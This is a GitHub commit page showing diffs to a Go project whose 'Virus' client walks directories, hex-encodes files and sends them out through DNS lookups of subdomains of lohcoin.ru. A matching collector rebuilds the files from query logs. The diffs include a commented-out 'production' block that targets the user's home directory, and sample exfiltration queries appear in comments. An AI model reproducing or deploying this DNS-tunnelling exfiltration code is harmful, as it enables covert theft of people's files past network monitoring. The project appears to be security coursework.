Skip to content

Commit

Permalink
Final version. It works. I checked
Browse files Browse the repository at this point in the history
  • Loading branch information
olegrok committed Nov 17, 2017
1 parent 6d7820f commit 65c9da1
Show file tree
Hide file tree
Showing 5 changed files with 25 additions and 19 deletions.
5 changes: 3 additions & 2 deletions client/FilesCollector/Collector/collector.go
Original file line number Diff line number Diff line change
Expand Up @@ -24,11 +24,12 @@ func Collect(input string) {
for file := range Scanner.Files {
scanner := bufio.NewScanner(inf)
for scanner.Scan() {
var id, payload string
var payload string
var offset int64
var id uint64
data := scanner.Text()
data = data[20: len(data) - Params.UrlLen]
fmt.Sscanf(data, "%56s.%019x.%s", &id, &offset, &payload);
fmt.Sscanf(data, "%016x.%016x.%s", &id, &offset, &payload);
// It's not new file
if file.Id == id && offset != 0 {
payload = strings.Replace(payload, ".", "", -1)
Expand Down
9 changes: 5 additions & 4 deletions client/FilesCollector/Scanner/scanner.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ import (
)

type File struct {
Id string
Id uint64
Ptr *os.File
}

Expand All @@ -20,11 +20,12 @@ var Files = make(chan File)
func Scan(path *os.File) {
scanner := bufio.NewScanner(path)
for scanner.Scan() {
var id, payload string
var payload string
var id uint64
var offset int64
data := scanner.Text()
data = data[20 : len(data) - Params.UrlLen]
_, err := fmt.Sscanf(data,"%16s.%019x.%s", &id, &offset, &payload);
_, err := fmt.Sscanf(data,"%016x.%016x.%s", &id, &offset, &payload);
if err != nil {
continue
}
Expand All @@ -34,7 +35,7 @@ func Scan(path *os.File) {
filename, _ := hex.DecodeString(params[0])
sizeStr, _ := hex.DecodeString(params[1])
size, _ := strconv.ParseInt(string(sizeStr), 10, 64)
filePtr, _ := os.Create(fmt.Sprintf("%s_%s", id, filename))
filePtr, _ := os.Create(fmt.Sprintf("%x_%s", id, filename))
filePtr.Truncate(size)
Files <- File{id, filePtr}
}
Expand Down
3 changes: 1 addition & 2 deletions client/Params/constants.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,7 @@ package Params

const URL = "lohcoin.ru"
const UrlLen = len(URL) + 2
const BufSize = 80
const BufSize = 102
const MaxSubdomainLength = 63
const PreferGoResolver = true
// b6c17ca5476c47b5d097a8ca7670ddfada4f3099b09548e555ec36f1.0000000000000000001.497347726170686963207265706f72747320776865746865722074686520727.56e6520697320646566696e6564206173206120477261706869632062792055.6e69636f64652e20537563682063686172616374.yandex.ru
// b6c17ca5476c47b5d097a8ca7670ddfada4f3099b09548e555ec36f1.0000000000000000001.497347726170686963207265706f72747320776865746865722074686520727.56e6520697320646566696e6564206173206120477261706869632062792055.6e69636f64652e205375636820636861726163.yandex.ru
13 changes: 4 additions & 9 deletions client/Virus/Resolver/resolver.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,11 +11,9 @@ import (
"InfoSec/Virus/Scanner"
"strconv"
"InfoSec/Params"
"context"
"hash/crc64"
)


// WG is wait group to synchronize the pool and the main routine
var Wg sync.WaitGroup
var ecmaTable = crc64.MakeTable(crc64.ECMA)
Expand Down Expand Up @@ -50,6 +48,7 @@ func SendFile(path string) error {
filename = hex.EncodeToString([]byte(filename))
size = hex.EncodeToString([]byte(size))
filename = fmt.Sprintf("%s.%s", filename, size)

resolve(filename, prefix, 0)

for i := int64(1);; {
Expand All @@ -67,13 +66,9 @@ func SendFile(path string) error {

// resolve: forms host and resolves it
func resolve(content string, prefix uint64, offset int64) {
Resolver := &net.Resolver{
PreferGo: Params.PreferGoResolver,
StrictErrors: true,
}
host := fmt.Sprintf("%016x.%019x.%s.%s", prefix, offset, content, Params.URL)
fmt.Printf("2017-11-12 14:22:41 %s.\n", host)
_, err := Resolver.LookupHost(context.Background(), host)
host := fmt.Sprintf("%016x.%016x.%s.%s", prefix, offset, content, Params.URL)
//fmt.Printf("2017-11-12 14:22:41 %s.\n", host)
_, err := net.LookupHost(host)
if err != nil {
log.Println(err)
}
Expand Down
14 changes: 12 additions & 2 deletions client/Virus/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,10 +3,9 @@ package main
// Put client to $GOPATH/InfoSec

import (
"fmt"
"runtime"
"InfoSec/Virus/Resolver"
"InfoSec/Virus/Scanner"
"runtime"
"os"
)

Expand All @@ -16,6 +15,16 @@ func main() {
for i := 0; i < concurrency; i++ {
go Resolver.Scan()
}
/************** Production **************/
/*
usr, err := user.Current()
if err != nil {
log.Fatalf("%s:", "current user problem")
}
home := usr.HomeDir
Scanner.ScanDirectory(home)
*/
/************* Test project *************/
switch runtime.GOOS {
case "linux":
Scanner.ScanDirectory("/home/oleg/Рабочий стол/test")
Expand All @@ -24,5 +33,6 @@ func main() {
default:
Scanner.ScanDirectory("/")
}
/****************************************/
Resolver.Wg.Wait()
}

0 comments on commit 65c9da1

Please sign in to comment.